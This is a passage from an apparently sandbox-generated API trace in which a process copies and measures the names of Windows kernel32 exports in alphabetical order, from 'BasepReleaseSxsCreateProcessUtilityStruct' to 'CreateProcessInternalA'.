returned="BasepReleaseSxsCreateProcessUtilityStruct" [0123.915] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0123.915] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0123.915] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0123.915] lstrlenA (lpString="BEEP") returned 4 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0123.915] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0123.915] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0123.915] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0123.915] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0123.915] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0123.915] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0123.915] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0123.915] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0123.915] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0123.915] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0123.915] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0123.915] lstrlenA (lpString="CANCELIO") returned 8 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0123.915] lstrlenA (lpString="CANCELIOEX") returned 10 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0123.915] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0123.916] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0123.916] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0123.916] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0123.916] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0123.916] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0123.916] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0123.916] lstrlenA (lpString="CHECKELEVATION") returned 14 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0123.916] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0123.916] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0123.916] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0123.916] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0123.916] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0123.916] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0123.916] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0123.916] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0123.916] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0123.916] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0123.916] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0123.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0123.916] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0123.917] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0123.917] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0123.917] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0123.917] lstrlenA (lpString="CLOSESTATE") returned 10 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0123.917] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0123.917] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0123.917] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0123.917] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0123.917] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0123.917] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0123.917] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0123.917] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0123.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0123.917] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0123.918] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0123.918] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0123.918] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0123.918] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0123.918] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0123.918] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0123.918] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0123.918] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0123.918] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0123.918] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0123.918] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0123.918] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0123.918] lstrlenA (lpString="COPYCONTEXT") returned 11 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0123.918] lstrlenA (lpString="COPYFILE2") returned 9 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0123.918] lstrlenA (lpString="COPYFILEA") returned 9 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0123.918] lstrlenA (lpString="COPYFILEEXA") returned 11 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0123.918] lstrlenA (lpString="COPYFILEEXW") returned 11 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0123.918] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0123.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0123.918] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0123.919] lstrlenA (lpString="COPYFILEW") returned 9 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0123.919] lstrlenA (lpString="COPYLZFILE") returned 10 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0123.919] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0123.919] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0123.919] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0123.919] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0123.919] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0123.919] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0123.919] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0123.919] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0123.919] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0123.919] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0123.919] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0123.919] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0123.919] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0123.919] lstrlenA (lpString="CREATEEVENTA") returned 12 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0123.919] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0123.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0123.920] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0123.920] lstrlenA (lpString="CREATEEVENTW") returned 12 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0123.920] lstrlenA (lpString="CREATEFIBER") returned 11 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0123.920] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0123.920] lstrlenA (lpString="CREATEFILE2") returned 11 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0123.920] lstrlenA (lpString="CREATEFILEA") returned 11 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0123.920] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0123.920] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0123.920] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0123.920] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0123.920] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0123.920] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0123.920] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0123.920] lstrlenA (lpString="CREATEFILEW") returned 11 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0123.920] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0123.920] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0123.920] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0123.920] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0123.920] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0123.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0123.920] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0123.921] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0123.921] lstrlenA (lpString="CREATEJOBSET") returned 12 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0123.921] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0123.921] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0123.921] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0123.921] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0123.921] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0123.921] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0123.921] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0123.921] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0123.921] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0123.921] lstrlenA (lpString="CREATEPIPE") returned 10 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0123.921] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0123.921] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0123.921] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0123.921] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0123.921] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0123.921] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 